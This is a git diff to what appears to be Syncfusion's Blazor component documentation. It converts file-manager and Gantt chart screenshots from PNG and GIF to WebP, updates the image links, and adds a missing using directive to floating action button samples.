diff --git a/blazor/file-manager/images/blazor-filemanager-custom-thumbnail.webp b/blazor/file-manager/images/blazor-filemanager-custom-thumbnail.webp
new file mode 100644
index 0000000000..338b075f86
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-custom-thumbnail.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-custom-toolbar.png b/blazor/file-manager/images/blazor-filemanager-custom-toolbar.png
deleted file mode 100644
index 25535cf470..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-custom-toolbar.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-custom-toolbar.webp b/blazor/file-manager/images/blazor-filemanager-custom-toolbar.webp
new file mode 100644
index 0000000000..657c7672a2
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-custom-toolbar.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-customized-navigation-pane.png b/blazor/file-manager/images/blazor-filemanager-customized-navigation-pane.png
deleted file mode 100644
index 0e2400c966..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-customized-navigation-pane.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-customized-navigation-pane.webp b/blazor/file-manager/images/blazor-filemanager-customized-navigation-pane.webp
new file mode 100644
index 0000000000..8bd4ec81cf
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-customized-navigation-pane.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-cut-copy-paste.png b/blazor/file-manager/images/blazor-filemanager-cut-copy-paste.png
deleted file mode 100644
index bc2d52aee1..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-cut-copy-paste.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-cut-copy-paste.webp b/blazor/file-manager/images/blazor-filemanager-cut-copy-paste.webp
new file mode 100644
index 0000000000..52aff25d26
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-cut-copy-paste.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-detailsview-custom-sorting.png b/blazor/file-manager/images/blazor-filemanager-detailsview-custom-sorting.png
deleted file mode 100644
index 180238f042..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-detailsview-custom-sorting.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-detailsview-custom-sorting.webp b/blazor/file-manager/images/blazor-filemanager-detailsview-custom-sorting.webp
new file mode 100644
index 0000000000..aeca9df84b
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-detailsview-custom-sorting.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-detailsview.png b/blazor/file-manager/images/blazor-filemanager-detailsview.png
deleted file mode 100644
index c18c93d553..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-detailsview.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-detailsview.webp b/blazor/file-manager/images/blazor-filemanager-detailsview.webp
new file mode 100644
index 0000000000..879b32c24e
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-detailsview.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-directoryupload.png b/blazor/file-manager/images/blazor-filemanager-directoryupload.png
deleted file mode 100644
index 0b929839c3..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-directoryupload.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-directoryupload.webp b/blazor/file-manager/images/blazor-filemanager-directoryupload.webp
new file mode 100644
index 0000000000..790df767ce
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-directoryupload.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-download-operation.png b/blazor/file-manager/images/blazor-filemanager-download-operation.png
deleted file mode 100644
index 4a6c619c37..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-download-operation.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-download-operation.webp b/blazor/file-manager/images/blazor-filemanager-download-operation.webp
new file mode 100644
index 0000000000..7e37d15ace
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-download-operation.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-drag-and-drop.gif b/blazor/file-manager/images/blazor-filemanager-drag-and-drop.gif
deleted file mode 100644
index 80ece666f2..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-drag-and-drop.gif and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-drag-and-drop.webp b/blazor/file-manager/images/blazor-filemanager-drag-and-drop.webp
new file mode 100644
index 0000000000..2770f3644f
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-drag-and-drop.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-file-system.png b/blazor/file-manager/images/blazor-filemanager-file-system.png
deleted file mode 100644
index 1eccd40b61..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-file-system.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-file-system.webp b/blazor/file-manager/images/blazor-filemanager-file-system.webp
new file mode 100644
index 0000000000..42d74bba6e
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-file-system.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-fileupload.PNG b/blazor/file-manager/images/blazor-filemanager-fileupload.PNG
deleted file mode 100644
index b5d21a7fd9..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-fileupload.PNG and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-fileupload.webp b/blazor/file-manager/images/blazor-filemanager-fileupload.webp
new file mode 100644
index 0000000000..bc1c9c6e4d
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-fileupload.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-folder-upload.gif b/blazor/file-manager/images/blazor-filemanager-folder-upload.gif
deleted file mode 100644
index 9b6b2a1b20..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-folder-upload.gif and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-folder-upload.webp b/blazor/file-manager/images/blazor-filemanager-folder-upload.webp
new file mode 100644
index 0000000000..646a97592b
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-folder-upload.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-folderupload.PNG b/blazor/file-manager/images/blazor-filemanager-folderupload.PNG
deleted file mode 100644
index 16b7d65689..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-folderupload.PNG and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-folderupload.webp b/blazor/file-manager/images/blazor-filemanager-folderupload.webp
new file mode 100644
index 0000000000..a3783dfff0
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-folderupload.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-generate-key.png b/blazor/file-manager/images/blazor-filemanager-generate-key.png
deleted file mode 100644
index 639cbaa9fe..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-generate-key.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-generate-key.webp b/blazor/file-manager/images/blazor-filemanager-generate-key.webp
new file mode 100644
index 0000000000..09b4fe5931
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-generate-key.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-image-preview.png b/blazor/file-manager/images/blazor-filemanager-image-preview.png
deleted file mode 100644
index eb92326d35..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-image-preview.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-image-preview.webp b/blazor/file-manager/images/blazor-filemanager-image-preview.webp
new file mode 100644
index 0000000000..845fb1652d
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-image-preview.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-inside-dialog.png b/blazor/file-manager/images/blazor-filemanager-inside-dialog.png
deleted file mode 100644
index fe4b70b215..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-inside-dialog.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-inside-dialog.webp b/blazor/file-manager/images/blazor-filemanager-inside-dialog.webp
new file mode 100644
index 0000000000..1bcd838e14
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-inside-dialog.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-inside-tab.png b/blazor/file-manager/images/blazor-filemanager-inside-tab.png
deleted file mode 100644
index 0c1f750f2a..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-inside-tab.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-inside-tab.webp b/blazor/file-manager/images/blazor-filemanager-inside-tab.webp
new file mode 100644
index 0000000000..500a6e812a
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-inside-tab.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-largeicons-custom-sorting.png b/blazor/file-manager/images/blazor-filemanager-largeicons-custom-sorting.png
deleted file mode 100644
index b7a01b6e25..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-largeicons-custom-sorting.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-largeicons-custom-sorting.webp b/blazor/file-manager/images/blazor-filemanager-largeicons-custom-sorting.webp
new file mode 100644
index 0000000000..2b572ad50e
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-largeicons-custom-sorting.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-largeiconsview.png b/blazor/file-manager/images/blazor-filemanager-largeiconsview.png
deleted file mode 100644
index 2c51d6cd82..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-largeiconsview.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-largeiconsview.webp b/blazor/file-manager/images/blazor-filemanager-largeiconsview.webp
new file mode 100644
index 0000000000..435b13ecb2
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-largeiconsview.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-maui-app.png b/blazor/file-manager/images/blazor-filemanager-maui-app.png
deleted file mode 100644
index fd455c4388..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-maui-app.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-maui-app.webp b/blazor/file-manager/images/blazor-filemanager-maui-app.webp
new file mode 100644
index 0000000000..ddd8937aa6
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-maui-app.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-multi-selection.png b/blazor/file-manager/images/blazor-filemanager-multi-selection.png
deleted file mode 100644
index d575382f9d..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-multi-selection.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-multi-selection.webp b/blazor/file-manager/images/blazor-filemanager-multi-selection.webp
new file mode 100644
index 0000000000..4cc656ac09
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-multi-selection.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-navigationpane-template.png b/blazor/file-manager/images/blazor-filemanager-navigationpane-template.png
deleted file mode 100644
index e3bc25e8bc..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-navigationpane-template.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-navigationpane-template.webp b/blazor/file-manager/images/blazor-filemanager-navigationpane-template.webp
new file mode 100644
index 0000000000..31e198a3da
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-navigationpane-template.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-navigationpane.png b/blazor/file-manager/images/blazor-filemanager-navigationpane.png
deleted file mode 100644
index 269cd28bce..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-navigationpane.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-navigationpane.webp b/blazor/file-manager/images/blazor-filemanager-navigationpane.webp
new file mode 100644
index 0000000000..1f42fbb28b
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-navigationpane.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-nuget-package.png b/blazor/file-manager/images/blazor-filemanager-nuget-package.png
deleted file mode 100644
index 1ca8c5aee3..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-nuget-package.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-nuget-package.webp b/blazor/file-manager/images/blazor-filemanager-nuget-package.webp
new file mode 100644
index 0000000000..137b4b69a3
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-nuget-package.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-numericitemcount.png b/blazor/file-manager/images/blazor-filemanager-numericitemcount.png
deleted file mode 100644
index 95c0b440e8..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-numericitemcount.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-numericitemcount.webp b/blazor/file-manager/images/blazor-filemanager-numericitemcount.webp
new file mode 100644
index 0000000000..4764e9180c
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-numericitemcount.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-page-template.png b/blazor/file-manager/images/blazor-filemanager-page-template.png
deleted file mode 100644
index ff71a06c79..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-page-template.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-page-template.webp b/blazor/file-manager/images/blazor-filemanager-page-template.webp
new file mode 100644
index 0000000000..9bd6a4fc74
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-page-template.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-pagesize-dropdown.png b/blazor/file-manager/images/blazor-filemanager-pagesize-dropdown.png
deleted file mode 100644
index 943dbdc1dc..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-pagesize-dropdown.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-pagesize-dropdown.webp b/blazor/file-manager/images/blazor-filemanager-pagesize-dropdown.webp
new file mode 100644
index 0000000000..203ad42cfa
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-pagesize-dropdown.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-pagesize.png b/blazor/file-manager/images/blazor-filemanager-pagesize.png
deleted file mode 100644
index 5ab282f3f4..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-pagesize.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-pagesize.webp b/blazor/file-manager/images/blazor-filemanager-pagesize.webp
new file mode 100644
index 0000000000..0616b7037e
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-pagesize.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-pagination.png b/blazor/file-manager/images/blazor-filemanager-pagination.png
deleted file mode 100644
index 792ed900fd..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-pagination.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-pagination.webp b/blazor/file-manager/images/blazor-filemanager-pagination.webp
new file mode 100644
index 0000000000..f2b6393749
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-pagination.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-rename-delete.png b/blazor/file-manager/images/blazor-filemanager-rename-delete.png
deleted file mode 100644
index 14ba904a8b..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-rename-delete.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-rename-delete.webp b/blazor/file-manager/images/blazor-filemanager-rename-delete.webp
new file mode 100644
index 0000000000..dd8fcd0abd
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-rename-delete.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-search-operation.png b/blazor/file-manager/images/blazor-filemanager-search-operation.png
deleted file mode 100644
index 4b05a652f3..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-search-operation.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-search-operation.webp b/blazor/file-manager/images/blazor-filemanager-search-operation.webp
new file mode 100644
index 0000000000..3a4dcb3728
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-search-operation.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-selection.png b/blazor/file-manager/images/blazor-filemanager-selection.png
deleted file mode 100644
index 9390610e02..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-selection.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-selection.webp b/blazor/file-manager/images/blazor-filemanager-selection.webp
new file mode 100644
index 0000000000..ea94660e9a
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-selection.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-sequentialupload.png b/blazor/file-manager/images/blazor-filemanager-sequentialupload.png
deleted file mode 100644
index 354559b8fa..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-sequentialupload.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-sequentialupload.webp b/blazor/file-manager/images/blazor-filemanager-sequentialupload.webp
new file mode 100644
index 0000000000..8a40b0f087
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-sequentialupload.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-template-large-icons-view.png b/blazor/file-manager/images/blazor-filemanager-template-large-icons-view.png
deleted file mode 100644
index 784bf8bed4..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-template-large-icons-view.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-template-large-icons-view.webp b/blazor/file-manager/images/blazor-filemanager-template-large-icons-view.webp
new file mode 100644
index 0000000000..49671a65d8
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-template-large-icons-view.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-toolbar.png b/blazor/file-manager/images/blazor-filemanager-toolbar.png
deleted file mode 100644
index 035947013d..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-toolbar.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-toolbar.webp b/blazor/file-manager/images/blazor-filemanager-toolbar.webp
new file mode 100644
index 0000000000..0e05732ea9
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-toolbar.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-upload-operation.png b/blazor/file-manager/images/blazor-filemanager-upload-operation.png
deleted file mode 100644
index 2a05b04a4a..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-upload-operation.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-upload-operation.webp b/blazor/file-manager/images/blazor-filemanager-upload-operation.webp
new file mode 100644
index 0000000000..9b2032050e
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-upload-operation.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-user-interface.png b/blazor/file-manager/images/blazor-filemanager-user-interface.png
deleted file mode 100644
index e177b09544..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-user-interface.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-user-interface.webp b/blazor/file-manager/images/blazor-filemanager-user-interface.webp
new file mode 100644
index 0000000000..6fa51a6b53
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-user-interface.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-virtualization.gif b/blazor/file-manager/images/blazor-filemanager-virtualization.gif
deleted file mode 100644
index 8f39c80455..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-virtualization.gif and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-virtualization.webp b/blazor/file-manager/images/blazor-filemanager-virtualization.webp
new file mode 100644
index 0000000000..31d640aed8
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-virtualization.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-with-breadcrumb.png b/blazor/file-manager/images/blazor-filemanager-with-breadcrumb.png
deleted file mode 100644
index 1726ecb3fd..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-with-breadcrumb.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-with-breadcrumb.webp b/blazor/file-manager/images/blazor-filemanager-with-breadcrumb.webp
new file mode 100644
index 0000000000..078dfea824
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-with-breadcrumb.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-zoom-button.png b/blazor/file-manager/images/blazor-filemanager-zoom-button.png
deleted file mode 100644
index 4cc41375c0..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-zoom-button.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-zoom-button.webp b/blazor/file-manager/images/blazor-filemanager-zoom-button.webp
new file mode 100644
index 0000000000..7d5733b161
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-zoom-button.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager.png b/blazor/file-manager/images/blazor-filemanager.png
deleted file mode 100644
index 400f83655a..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager.webp b/blazor/file-manager/images/blazor-filemanager.webp
new file mode 100644
index 0000000000..c7c8b9b1d3
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager.webp differ
diff --git a/blazor/file-manager/images/blazor-nuget-explorer.png b/blazor/file-manager/images/blazor-nuget-explorer.png
deleted file mode 100644
index 72f9986edd..0000000000
Binary files a/blazor/file-manager/images/blazor-nuget-explorer.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-nuget-explorer.webp b/blazor/file-manager/images/blazor-nuget-explorer.webp
new file mode 100644
index 0000000000..dedfe67a6a
Binary files /dev/null and b/blazor/file-manager/images/blazor-nuget-explorer.webp differ
diff --git a/blazor/file-manager/images/blazor-nuget-selection.png b/blazor/file-manager/images/blazor-nuget-selection.png
deleted file mode 100644
index e8f7d31194..0000000000
Binary files a/blazor/file-manager/images/blazor-nuget-selection.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-nuget-selection.webp b/blazor/file-manager/images/blazor-nuget-selection.webp
new file mode 100644
index 0000000000..365b657b48
Binary files /dev/null and b/blazor/file-manager/images/blazor-nuget-selection.webp differ
diff --git a/blazor/file-manager/images/blazor-wasm-app-template.png b/blazor/file-manager/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/file-manager/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-wasm-app-template.webp b/blazor/file-manager/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/file-manager/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/file-manager/images/custom-cm.png b/blazor/file-manager/images/custom-cm.png
deleted file mode 100644
index 331a954bdf..0000000000
Binary files a/blazor/file-manager/images/custom-cm.png and /dev/null differ
diff --git a/blazor/file-manager/images/custom-cm.webp b/blazor/file-manager/images/custom-cm.webp
new file mode 100644
index 0000000000..eddc606d27
Binary files /dev/null and b/blazor/file-manager/images/custom-cm.webp differ
diff --git a/blazor/file-manager/images/custom-toolbar.png b/blazor/file-manager/images/custom-toolbar.png
deleted file mode 100644
index 82bc852362..0000000000
Binary files a/blazor/file-manager/images/custom-toolbar.png and /dev/null differ
diff --git a/blazor/file-manager/images/custom-toolbar.webp b/blazor/file-manager/images/custom-toolbar.webp
new file mode 100644
index 0000000000..ae4528b8b7
Binary files /dev/null and b/blazor/file-manager/images/custom-toolbar.webp differ
diff --git a/blazor/file-manager/images/customize-http-handler.png b/blazor/file-manager/images/customize-http-handler.png
deleted file mode 100644
index a143da03cb..0000000000
Binary files a/blazor/file-manager/images/customize-http-handler.png and /dev/null differ
diff --git a/blazor/file-manager/images/customize-http-handler.webp b/blazor/file-manager/images/customize-http-handler.webp
new file mode 100644
index 0000000000..f02216ec38
Binary files /dev/null and b/blazor/file-manager/images/customize-http-handler.webp differ
diff --git a/blazor/file-manager/images/fileManager.png b/blazor/file-manager/images/fileManager.png
deleted file mode 100644
index 57c64edb3a..0000000000
Binary files a/blazor/file-manager/images/fileManager.png and /dev/null differ
diff --git a/blazor/file-manager/images/fileManager.webp b/blazor/file-manager/images/fileManager.webp
new file mode 100644
index 0000000000..37d3dee06c
Binary files /dev/null and b/blazor/file-manager/images/fileManager.webp differ
diff --git a/blazor/file-manager/images/filemanager-output.png b/blazor/file-manager/images/filemanager-output.png
deleted file mode 100644
index ecca622d8b..0000000000
Binary files a/blazor/file-manager/images/filemanager-output.png and /dev/null differ
diff --git a/blazor/file-manager/images/filemanager-output.webp b/blazor/file-manager/images/filemanager-output.webp
new file mode 100644
index 0000000000..dee31541f2
Binary files /dev/null and b/blazor/file-manager/images/filemanager-output.webp differ
diff --git a/blazor/file-manager/images/filemanagerfull.png b/blazor/file-manager/images/filemanagerfull.png
deleted file mode 100644
index 1a8324518e..0000000000
Binary files a/blazor/file-manager/images/filemanagerfull.png and /dev/null differ
diff --git a/blazor/file-manager/images/filemanagerfull.webp b/blazor/file-manager/images/filemanagerfull.webp
new file mode 100644
index 0000000000..127687522d
Binary files /dev/null and b/blazor/file-manager/images/filemanagerfull.webp differ
diff --git a/blazor/file-manager/images/getimage.png b/blazor/file-manager/images/getimage.png
deleted file mode 100644
index 8fef334c2d..0000000000
Binary files a/blazor/file-manager/images/getimage.png and /dev/null differ
diff --git a/blazor/file-manager/images/getimage.webp b/blazor/file-manager/images/getimage.webp
new file mode 100644
index 0000000000..9c4a2a6ec9
Binary files /dev/null and b/blazor/file-manager/images/getimage.webp differ
diff --git a/blazor/file-manager/images/hosted-filemanager.png b/blazor/file-manager/images/hosted-filemanager.png
deleted file mode 100644
index 13d8ed056b..0000000000
Binary files a/blazor/file-manager/images/hosted-filemanager.png and /dev/null differ
diff --git a/blazor/file-manager/images/hosted-filemanager.webp b/blazor/file-manager/images/hosted-filemanager.webp
new file mode 100644
index 0000000000..707e7c024d
Binary files /dev/null and b/blazor/file-manager/images/hosted-filemanager.webp differ
diff --git a/blazor/file-manager/images/multi-selection.png b/blazor/file-manager/images/multi-selection.png
deleted file mode 100644
index 4332097b21..0000000000
Binary files a/blazor/file-manager/images/multi-selection.png and /dev/null differ
diff --git a/blazor/file-manager/images/multi-selection.webp b/blazor/file-manager/images/multi-selection.webp
new file mode 100644
index 0000000000..3998375465
Binary files /dev/null and b/blazor/file-manager/images/multi-selection.webp differ
diff --git a/blazor/floating-action-button/getting-started-with-server-app.md b/blazor/floating-action-button/getting-started-with-server-app.md
index d4400e14d3..3614ef0c39 100644
--- a/blazor/floating-action-button/getting-started-with-server-app.md
+++ b/blazor/floating-action-button/getting-started-with-server-app.md
@@ -183,6 +183,8 @@ The floating action button control triggers the [OnClick](https://help.syncfusio
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Buttons
+
 <div id="target" style="min-height:200px; position:relative; width:300px; border:1px solid;">
     <SfFab Target="#target" IconCss="e-icons e-plus" OnClick="EventClick"></SfFab>
 </div>
diff --git a/blazor/floating-action-button/getting-started-with-web-app.md b/blazor/floating-action-button/getting-started-with-web-app.md
index 73acc967c5..598b6503cd 100644
--- a/blazor/floating-action-button/getting-started-with-web-app.md
+++ b/blazor/floating-action-button/getting-started-with-web-app.md
@@ -189,6 +189,8 @@ The floating action button control triggers the [OnClick](https://help.syncfusio
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Buttons
+
 <div id="target" style="min-height:200px; position:relative; width:300px; border:1px solid;">
     <SfFab Target="#target" IconCss="e-icons e-plus" OnClick="EventClick"></SfFab>
 </div>
diff --git a/blazor/gantt-chart/baseline.md b/blazor/gantt-chart/baseline.md
index 56093d94a0..0c6297ba98 100644
--- a/blazor/gantt-chart/baseline.md
+++ b/blazor/gantt-chart/baseline.md
@@ -62,6 +62,6 @@ The baseline feature enables users to view the deviation between the planned dat
 
 The following screenshot shows the baselines in Gantt Chart component.
 
-![Baselines in Blazor Gantt Chart](images/blazor-gantt-chart-with-baseline.png)
+![Baselines in Blazor Gantt Chart](images/blazor-gantt-chart-with-baseline.webp)
 
 N> You can refer to our [Blazor Gantt Chart](https://www.syncfusion.com/blazor-components/blazor-gantt-chart) feature tour page for its groundbreaking feature representations. You can also explore our [Blazor Gantt Chart example](https://blazor.syncfusion.com/demos/gantt-chart/default-functionalities) to know how to render and configure the gantt.
\ No newline at end of file
diff --git a/blazor/gantt-chart/blazor-gantt-maui-android.webp b/blazor/gantt-chart/blazor-gantt-maui-android.webp
new file mode 100644
index 0000000000..24d62f993e
Binary files /dev/null and b/blazor/gantt-chart/blazor-gantt-maui-android.webp differ
diff --git a/blazor/gantt-chart/column-chooser.md b/blazor/gantt-chart/column-chooser.md
index ba2b0582db..816c3711da 100644
--- a/blazor/gantt-chart/column-chooser.md
+++ b/blazor/gantt-chart/column-chooser.md
@@ -406,7 +406,7 @@ public class TaskData
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor Gantt Chart with custom column chooser using ListView for grouped columns](images/blazor-gantt-chart-custom-column-chooser.png)
+![Blazor Gantt Chart with custom column chooser using ListView for grouped columns](images/blazor-gantt-chart-custom-column-chooser.webp)
 
 ## See also
 
diff --git a/blazor/gantt-chart/column-resizing.md b/blazor/gantt-chart/column-resizing.md
index 9eb026454e..2ef9481602 100644
--- a/blazor/gantt-chart/column-resizing.md
+++ b/blazor/gantt-chart/column-resizing.md
@@ -144,6 +144,6 @@ To resize a column:
 
 The screenshot below illustrates column resizing on a touch device.
 
-![Column resize](images/blazor-gantt-chart-column-resizing.png)
+![Column resize](images/blazor-gantt-chart-column-resizing.webp)
 
